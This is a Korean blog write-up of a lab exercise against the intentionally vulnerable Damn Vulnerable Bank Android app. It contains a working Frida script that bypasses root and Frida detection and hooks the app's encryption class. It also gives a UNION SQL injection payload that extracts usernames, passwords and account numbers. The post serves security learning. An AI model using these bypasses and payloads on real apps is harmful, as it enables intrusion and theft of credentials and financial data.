KGPstudio
article thumbnail
반응형

SQLi가 발생되는 QnA 게시판의 view 부분에서 공격 진행

 

Burp suite 확인 결과 body 값에 enc_data 값이 전송되는 것을 확인

요청값과 응답값이 암호화 되어있는 것을 확인

Jadx를 통해 소스분석 > "EncryptDecrypt"라는 암호화와 관련이 있어보이는 클래스 확인

 

아래와 같이 위 클래스를 js코드로 컨버팅(converting)

console.log("Script loaded successfully");
Java.perform(function() {
    console.log("Inside java perform function");
    // 루팅 우회
    var RootUtil = Java.use("com.app.damnvulnerablebank.RootUtil");
    RootUtil.isDeviceRooted.overload().implementation = function () {
        console.log("isDeviceRooted");
        return false;
    }
    // frida 우회
    var Frida = Java.use("com.app.damnvulnerablebank.FridaCheckJNI");
    Frida.fridaCheck.overload().implementation = function () {
        console.log("Inside fridaCheck");
        return false;
    }
    var Encrypt = Java.use("com.app.damnvulnerablebank.EncryptDecrypt");
    // 암호화 전 문자열 출력
    Encrypt.encrypt.overload('java.lang.String').implementation = function (str) {
        console.log('encrypt : '+str);
        return Encrypt.encrypt(str);
    }
    // 복호화 후 문자열 출력
    Encrypt.decrypt.overload('java.lang.String').implementation = function (str) {
        var result = Encrypt.decrypt(str);
        console.log('decrypt : '+result);
        return result;
    }
});

 

암복호화 js 코드를 통해 공격할 전송 데이터 암호화

console.log(encrypt('{"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1; -- "}'));

Repeter 사용하여 암호화된 데이터 전송 → response 값 확인

응답값 복호화를 통해 SQLi가 적용되었다는 것을 확인!

반응형
profile

KGPstudio

@KGP-Admin

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!